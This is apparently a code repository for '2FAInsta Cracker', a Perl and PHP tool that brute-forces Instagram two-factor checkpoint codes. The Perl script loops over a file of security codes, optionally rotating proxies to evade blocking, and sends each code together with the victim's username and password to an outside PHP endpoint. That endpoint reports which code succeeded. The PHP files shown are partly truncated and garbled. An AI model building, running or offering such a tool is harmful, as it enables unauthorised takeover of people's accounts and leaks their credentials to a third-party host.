├── Cracker.pl ├── README.md └── source-code ├── normal.php └── proxy.php /Cracker.pl: -------------------------------------------------------------------------------- 1 | use LWP::UserAgent; 2 | system('cls'); 3 | system('color 1e'); 4 | print ' 5 | ################### 6 | # Coded By 1337r00t 7 | ################### 8 | ........................................................................... 9 | .%%%%....%%%%%%..%%%%%%..%%%%%%.......%%%%%%\...../%%%\..../%%%\....%%%%%%. 10 | ...%%........%%......%%.....(%/.......%%....%)...%:...:%..%:...:%.....%%... 11 | ...%%....%%%%%%..%%%%%%....(%/........%%%%)%.}...%:...:%..%:...:%.....%%... 12 | ...%%........%%......%%...(%/.........%%...\%)...%:...:%..%:...:%.....%%... 13 | .%%%%%%..%%%%%%..%%%%%%..(%...........%%....\%)...\%%%/....\%%%/......%%... 14 | ........................................................................... 15 | \n'; 16 | print qq( 17 | #============================# 18 | # 2FAInsta Cracker # 19 | # C0ded by 1337r00t # 20 | # Instagram: 1337r00t # 21 | #============================#\n 22 | \n1 - With Proxy\n2 - Without Proxy\n\n> ); 23 | $do = ; 24 | chomp($do); 25 | system('cls'); 26 | ####################################################################################### 27 | if ($do == 1){ 28 | print qq( 29 | Enter Proxys File: 30 | > ); 31 | $proxylist=; 32 | chomp($proxylist); 33 | open (PROXYFILE, "<$proxylist") || die "[-] Can't Found The List Of Proxys !"; 34 | @PROXYS = ; 35 | close PROXYFILE; 36 | 37 | print qq( 38 | Enter Username : 39 | > ); 40 | $user=; 41 | chomp($user); 42 | 43 | print qq( 44 | Enter Password : 45 | > ); 46 | $pass=; 47 | chomp($pass); 48 | 49 | print qq( 50 | Enter Security Codes File: 51 | > ); 52 | $codelist=; 53 | chomp($codelist); 54 | open (CODEFILE, "<$codelist") || die "[-] Can't Found The List Of Codes !"; 55 | @CODES = ; 56 | close CODEFILE; 57 | ###################### 58 | foreach $code (@CODES) { 59 | chomp $code; 60 | foreach $proxy (@PROXYS) { 61 | chomp $proxy; 62 | $ua = LWP::UserAgent->new(); 63 | $request = HTTP::Request->new(GET => "http://www.mughniagent.co.uk/instagram/proxy.php?proxy=$proxy&user=$user&pass=$pass&code=$code"); 64 | $response = $ua->request($request); 65 | $output = $response->content(); 66 | print "$output\n"; 67 | } 68 | } 69 | } 70 | ################################################################################## 71 | if ($do == 2){ 72 | 73 | print qq( 74 | Enter Username : 75 | > ); 76 | $user2=; 77 | chomp($user2); 78 | 79 | print qq( 80 | Enter Password : 81 | > ); 82 | $pass2=; 83 | chomp($pass2); 84 | 85 | print qq( 86 | Enter Security Codes File: 87 | > ); 88 | $codelist2=; 89 | chomp($codelist2); 90 | open (CODEFILE2, "<$codelist2") || die "[-] Can't Found The List Of Codes !"; 91 | @CODES2 = ; 92 | close CODEFILE2; 93 | ###################### 94 | foreach $code2 (@CODES2) { 95 | chomp $code2; 96 | $ua2 = LWP::UserAgent->new(); 97 | $request2 = HTTP::Request->new(GET => "http://www.mughniagent.co.uk/instagram/normal.php?user=$user2&pass=$pass2&code=$code2"); 98 | $response2 = $ua2->request($request2); 99 | $output2 = $response2->content(); 100 | print "$output2\n"; 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 2FAInsta-Cracker 2 | 3 | -------------------- 4 | Brute Force Checkpoint Instagram [CrackerTOOL] v1.0 5 | --------------- 6 | Coded By 1337r00t 7 | -------------- 8 | 9 | My Instagram : 1337r00t 10 | My Twitter : 1337r00t 11 | -------------------------------------------------------------------------------- /source-code/normal.php: -------------------------------------------------------------------------------- 1 | ${code2}"; 44 | } 45 | else 46 | { 47 | if(eregi("Please check the code we sent you and try again.", $response2)) 48 | { 49 | echo "Failed -> ${code2}"; 50 | } 51 | else 52 | { 53 | if(eregi("This field is required.", $response2)) 54 | { 55 | echo "MID : WWy-QQAEAAE56m6cNeNkhixRJvwg fail"; 56 | } 57 | else 58 | { 59 | if(eregi("Please wait a few minutes before you try again.", $response2)) 60 | { 61 | echo "Please wait [Blocked]->${code2}"; 62 | } 63 | else 64 | { 65 | if(eregi("You've entered the code incorrectly too many times.", $response2)) 66 | { 67 | echo "Blocked Dude :( [${code2}]"; 68 | } 69 | else 70 | { 71 | echo $response2 ; 72 | } 73 | } 74 | } 75 | } 76 | } 77 | curl_close($instagram2); 78 | } 79 | else 80 | { 81 | echo "Where is 2FA Man ???"; 82 | } 83 | curl_close($ch2); 84 | ?> 85 | -------------------------------------------------------------------------------- /source-code/proxy.php: -------------------------------------------------------------------------------- 1 | ${code}"; 47 | } 48 | else 49 | { 50 | if(eregi("Please check the code we sent you and try again.", $response)) 51 | { 52 | echo "Failed -> ${code}"; 53 | } 54 | else 55 | { 56 | if(eregi("This field is required.", $response)) 57 | { 58 | echo "MID : WWy-QQAEAAE56m6cNeNkhixRJvwg fail"; 59 | } 60 | else 61 | { 62 | if(eregi("Please wait a few minutes before you try again.", $response)) 63 | { 64 | echo "Please wait [Blocked]->${code}"; 65 | } 66 | else 67 | { 68 | if(eregi("You've entered the code incorrectly too many times.", $response)) 69 | { 70 | echo "Blocked Dude :( [${code}]"; 71 | } 72 | else 73 | { 74 | echo $response ; 75 | } 76 | } 77 | } 78 | } 79 | } 80 | curl_close($instagram); 81 | } 82 | else 83 | { 84 | echo "where is 2FA Bro ???"; 85 | } 86 | curl_close($ch); 87 | ?> 88 | } 89 | } 90 | } 91 | curl_close($instagram); 92 | ?> 93 | --------------------------------------------------------------------------------